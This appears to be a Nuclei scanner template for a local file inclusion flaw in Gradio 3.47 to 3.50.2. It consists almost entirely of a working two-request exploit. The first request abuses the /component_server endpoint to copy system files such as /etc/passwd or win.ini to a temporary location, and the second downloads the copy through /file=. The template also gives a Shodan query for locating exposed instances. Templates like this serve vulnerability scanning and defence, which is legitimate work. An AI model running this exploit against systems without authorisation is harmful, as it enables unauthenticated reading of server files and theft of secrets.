id: gradio-lfi

info:
  name: Gradio 3.47 – 3.50.2 - Local File Inclusion
  author: nvn1729
  severity: high
  description: |
    Local file read by calling arbitrary methods of Components class between Gradio versions 3.47 – 3.50.2
  reference:
    - https://github.com/gradio-app/gradio/commit/24a583688046867ca8b8b02959c441818bdb34a2
    - https://www.horizon3.ai/attack-research/disclosures/exploiting-file-read-vulnerabilities-in-gradio-to-steal-secrets-from-hugging-face-spaces/
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    epss-percentile: 0.36659
  metadata:
    verified: true
    max-request: 2
    shodan-query: html:"__gradio_mode__"
  tags: cve,cve2024,intrusive,unauth,gradio,lfi,lfr

http:
  - raw:
      - |
        POST /component_server HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"component_id": "{{fuzz_component_id}}", "data": "{{path}}", "fn_name": "make_temp_copy_if_needed", "session_hash": "aaaaaaaaaaa"}

      - |
        GET /file={{download_path}} HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        part: body
        name: download_path
        internal: true
        group: 1
        regex:
          - "\"?([^\"]+)"

    attack: clusterbomb
    payloads:
      fuzz_component_id: helpers/wordlists/numbers.txt
      path:
        - /etc/passwd
        - c:\\windows\\win.ini

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: regex
        part: body_2
        regex:
          - "root:.*:0:0:"
          - "\\[(font|extension|file)s\\]"
        condition: or

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100dee488452114cf8cba3e74b09165ce96dd590f0ac0705828cdc977a8a8bd5f39022100d64d96b1ba3cd9e79039f6b3436f1cf7fd37e88bb8bb0249b76423524c3939a4:922c64590222798bb761d5b6d8e72950